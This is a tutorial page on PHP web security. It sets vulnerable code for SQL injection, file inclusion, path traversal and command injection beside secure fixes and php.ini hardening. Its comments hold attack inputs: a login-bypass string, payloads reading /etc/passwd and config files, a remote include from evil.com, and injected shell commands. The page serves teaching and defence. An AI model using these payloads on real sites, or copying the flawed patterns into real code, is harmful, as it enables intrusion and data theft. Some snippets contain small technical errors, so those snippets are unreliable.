PHP for Cyber Security

Master PHP security - understand the vulnerabilities that power most web attacks. From SQL injection to file inclusion, learn the flaws to build secure applications.

Why PHP for Security

PHP powers over 77% of websites with known server-side languages. WordPress, Facebook, Wikipedia, and millions of sites run on PHP. Understanding PHP vulnerabilities is essential for web security.

  • Web dominance - Most vulnerable web applications are PHP-based.
  • WordPress security - WordPress powers 43% of all websites. Plugin/theme vulnerabilities are PHP.
  • Common vulnerabilities - SQL injection, LFI/RFI, command injection are PHP classics.
  • Code review - Many security audits involve reviewing PHP codebases.
  • CMS security - Joomla, Drupal, Magento are all PHP-based.
Reality Check

PHP has historically had insecure defaults. Many PHP applications still use deprecated functions like mysql_query() and ereg(). Modern PHP (8.x) has improved significantly, but legacy code remains vulnerable.

PHP Basics

php
<?php
// Variables and arrays
$target = "192.168.1.1";
$ports = [22, 80, 443, 8080];
$scan_result = [
    "ip" => $target,
    "open_ports" => $ports,
    "timestamp" => date("Y-m-d H:i:s")
];

// Super globals (security-relevant)
$_GET["id"];        // URL parameters - ALWAYS USER INPUT
$_POST["data"];      // POST body data
$_REQUEST["param"];  // GET + POST + COOKIE
$_SERVER["REMOTE_ADDR"]; // Client IP
$_FILES["upload"];   // File uploads
$_SESSION["user"];   // Session data
$_COOKIE["token"];   // Cookies

// File operations
$content = file_get_contents("/etc/passwd");
file_put_contents("log.txt", $data, FILE_APPEND);

// Database connection
$conn = new PDO("mysql:host=localhost;dbname=app", $user, $pass);
// NEVER use mysql_* functions - deprecated and insecure!
?>

PHP Web Security

php - security_overview.php
<?php
// === COMMON PHP SECURITY ISSUES ===

// 1. Remote Code Execution via eval()
// DANGEROUS:
eval($_GET["code"]);  // Attacker can execute ANY PHP code

// 2. File upload vulnerabilities
// DANGEROUS: No validation
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);

// 3. Session fixation
// DANGEROUS: Session ID from URL
session_id($_GET["sid"]);
session_start();

// 4. Cross-Site Scripting (XSS)
// DANGEROUS: Unescaped output
echo "Welcome, " . $_GET["name"];

// 5. Information disclosure
// DANGEROUS: Displaying errors in production
display_errors = On;  // in php.ini - shows full error paths
?>

SQL Injection in PHP

php - sql_injection.php
<?php
// === VULNERABLE CODE ===
$username = $_POST["username"];
$password = $_POST["password"];

// DANGEROUS: String concatenation in SQL
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// Attacker can type: admin' OR '1'='1' -- -
// Query becomes: SELECT * FROM users WHERE username='admin' OR '1'='1' -- -' AND password=''
$result = mysql_query($query);  // VULNERABLE!

// === SECURE CODE ===
// Method 1: PDO Prepared Statements (RECOMMENDED)
$conn = new PDO($dsn, $user, $pass);
$stmt = $conn->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    ":username" => $_POST["username"],
    ":password" => $_POST["password"]
]);
$user = $stmt->fetch();

// Method 2: mysqli Prepared Statements
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $_POST["username"], $_POST["password"]);
$stmt->execute();

// Method 3: Input validation
$username = preg_replace("/[^a-zA-Z0-9_]/", "", $_POST["username"]);
?>
Critical

SQL injection has been the #1 web vulnerability for over 15 years. Always use prepared statements. Never concatenate user input into SQL queries.

File Inclusion (LFI/RFI)

php - file_inclusion.php
<?php
// === LOCAL FILE INCLUSION (LFI) ===

// DANGEROUS: User-controlled file path
$page = $_GET["page"];
include($page . ".php");
// Attack: ?page=../../../../etc/passwd%00
// Attack: ?page=php://filter/convert.base64-encode/resource=config.php

// === REMOTE FILE INCLUSION (RFI) ===
// DANGEROUS: allow_url_include = On in php.ini
include($_GET["url"]);
// Attack: ?url=http://evil.com/shell.txt

// === PATH TRAVERSAL ===
$file = "/var/www/uploads/" . $_GET["file"];
// Attack: ?file=../../etc/passwd
// Attack: ?file=....//....//....//etc/passwd (bypass filters)
readfile($file);

// === SECURE CODE ===
$allowed = ["home", "about", "contact"];
$page = $_GET["page"];

if (in_array($page, $allowed)) {
    include("pages/" . $page . ".php");
} else {
    echo "Invalid page";
}

// For file reading - validate path
$base = "/var/www/uploads/";
$file = realpath($base . basename($_GET["file"]));
if (strpos($file, realpath($base)) === 0) {
    readfile($file);
}
?>

Command Injection

php - command_injection.php
<?php
// === DANGEROUS: Command Injection ===

// These functions execute system commands
$host = $_GET["host"];

// DANGEROUS - never use with user input!
system("ping -c 4 " . $host);
// Attack: ?host=127.0.0.1;cat /etc/passwd
// Attack: ?host=127.0.0.1|ls -la
// Attack: ?host=127.0.0.1`id`
exec("nmap " . $host, $output);
shell_exec("nslookup " . $host);
passthru("traceroute " . $host);
// Backtick operator: `$cmd` is equivalent to shell_exec($cmd)
// `$id` or `ls` - DANGEROUS with user input

// === SECURE CODE ===
// Method 1: Input validation (whitelist)
$valid_targets = ["8.8.8.8", "8.8.4.4", "1.1.1.1"];
$host = $_GET["host"];

if (in_array($host, $valid_targets) && filter_var($host, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($host));
    echo "<pre>$output</pre>";
}

// Method 2: escapeshellarg() (always use with user input)
$host = escapeshellarg($_GET["host"]);
$output = shell_exec("ping -c 4 $host");

// Method 3: Avoid system calls entirely
// Use PHP functions instead of shell commands
// Use gethostbyname() instead of nslookup
// Use fsockopen() instead of nc/ncat
?>

Secure Coding Practices

php - secure_coding.php
<?php
// === SECURITY BEST PRACTICES ===

// 1. Password hashing
$hash = password_hash($password, PASSWORD_BCRYPT);
password_verify($input, $hash);

// 2. CSRF Protection
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION["csrf_token"] = $token;
// In form: <input type="hidden" name="token" value="<?= $token ?>">
// On submit: if ($token !== $_SESSION["csrf_token"]) die("Invalid CSRF");

// 3. XSS Prevention
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// For JSON output:
header("Content-Type: application/json");
echo json_encode($data);

// 4. Secure file upload
$allowed_types = ["image/jpeg", "image/png", "image/gif"];
$max_size = 5 * 1024 * 1024; // 5MB
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]);

if (in_array($mime, $allowed_types) && $_FILES["file"]["size"] <= $max_size) {
    $new_name = bin2hex(random_bytes(16)) . ".jpg";
    move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $new_name);
}

// 5. Content Security Policy
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");

// 6. Input validation
$email = filter_var($_POST["email"], FILTER_VALIDATE_EMAIL);
$port = filter_var($_GET["port"], FILTER_VALIDATE_INT, [
    "options" => ["min_range" => 1, "max_range" => 65535]
]);
?>

PHP Configuration Hardening

php.ini - security settings
; === SECURITY php.ini SETTINGS ===

; Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,
    curl_exec,curl_multi_exec,parse_ini_file,show_source,
    allow_url_fopen,allow_url_include

; Error handling - hide details from users
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

; Disable file uploads if not needed
file_uploads = Off

; Session security
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1
session.use_only_cookies = 1

; Disable remote includes
allow_url_include = Off
allow_url_fopen = Off

; Open basedir - restrict file access
open_basedir = /var/www/html:/tmp

; Hide PHP version
expose_php = Off
Practice

Set up a PHP lab with DVWA (Damn Vulnerable Web Application) or bWAPP to practice exploiting and defending against these vulnerabilities.

Resources